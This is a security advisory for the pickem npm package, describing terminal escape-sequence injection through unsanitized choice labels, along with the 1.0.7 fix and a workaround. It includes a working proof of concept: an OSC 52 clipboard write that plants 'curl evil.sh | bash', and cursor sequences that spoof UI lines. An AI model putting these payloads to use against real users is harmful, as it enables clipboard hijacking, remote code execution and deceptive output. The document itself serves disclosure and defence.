pickem Terminal Escape-Sequence Injection via Unsanitized Item Labels
The pickem npm package printed user-supplied choice labels directly to the terminal without stripping control characters, letting an attacker embed sequences that silently hijack the clipboard or…

The problem
pickem rendered item fields (label, description, group, meta, name) to the terminal with no control-character sanitization before version 1.0.7.
The partial ANSI strip in chrome.row only applied to the active row; inactive rows, createFormatter, and selection-summary lines all printed labels raw. Bare C0 control bytes were not stripped at all.
Because item text is frequently attacker-controlled (git branch names, PR titles, filenames, npm or API results), any CLI built on pickem was a write primitive to the user's terminal.
Proof of concept
A working proof-of-concept for this issue in pickem, with the exact payload below.
// Malicious pickem choice label (e.g. injected via git branch name or API response)
// OSC 52 silently overwrites the user's clipboard with: curl evil.sh | bash
// When the user next pastes into a shell, it executes.
const EVIL_CMD = 'curl evil.sh | bash';
const b64 = Buffer.from(EVIL_CMD).toString('base64');
// OSC 52 clipboard-write sequence: ESC ] 52 ; c ; <base64> BEL
const osc52 = `\x1b]52;c;${b64}\x07`;
// Cursor-movement + line-erase to spoof already-printed UI lines:
// ESC[1A = cursor up 1 row
// ESC[2K = erase entire line
const spoof = `\x1b[1A\x1b[2K✓ Verified publisher\n`;
// Either string embedded in a pickem label is rendered verbatim pre-1.0.7:
const choices = [
{ label: osc52 + 'Looks Normal', value: 'x' },
{ label: spoof + 'Looks Normal', value: 'y' },
];Before 1.0.7, pickem passed externally-supplied strings directly to process.stdout.write (or equivalent) at every render site: inactive rows, createFormatter output, and committed selection summaries. The only strip was an ANSI SGR regex on the active row, which does not match bare C0 bytes (0x00-0x1F) or OSC sequences.
An OSC 52 sequence (\x1b]52;c;<base64>\x07) is interpreted by the terminal emulator itself, not the application; pickem never sees the effect. The terminal silently loads attacker-chosen text into the system clipboard, so the next paste-into-shell becomes RCE.
Cursor-movement sequences (\x1b[1A, \x1b[2K) let an attacker rewrite lines that were already printed above the current render position, enabling UI spoofing without any visual artifact.
The fix (v1.0.7) introduces sanitizeDisplay(), applied at every render boundary, which strips all escape sequences except inert SGR color codes and removes all C0, C1, and DEL control bytes from externally-supplied strings. Returned values are unchanged; only display paths are sanitized.
CWE-150.
The fix
Upgrade pickem to 1.0.7 or later. The new sanitizeDisplay() function is applied to every externally-supplied display string across all prompt types (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and selection summaries.
If upgrading is not immediately possible, strip all C0/C1/DEL control bytes and ANSI escape sequences from untrusted text before passing it to pickem.
Reported by Caleb Ogden.
Related research
- criticalshescape: Shell Injection via Unescaped Parentheses on Windows CMD
- high · 8.7CVE-2026-55596CVE-2026-55596: @platejs/media Media Embed Stored XSS via Serialized Provider Metadata
- high · 7.5CVE-2026-55553CVE-2026-55553: urllib Cross-Origin Redirect Credential Leakage
- high · 7.5CVE-2026-63421CVE-2026-63421: @keystone-6/core graphql.maxTake Bypass via Negative take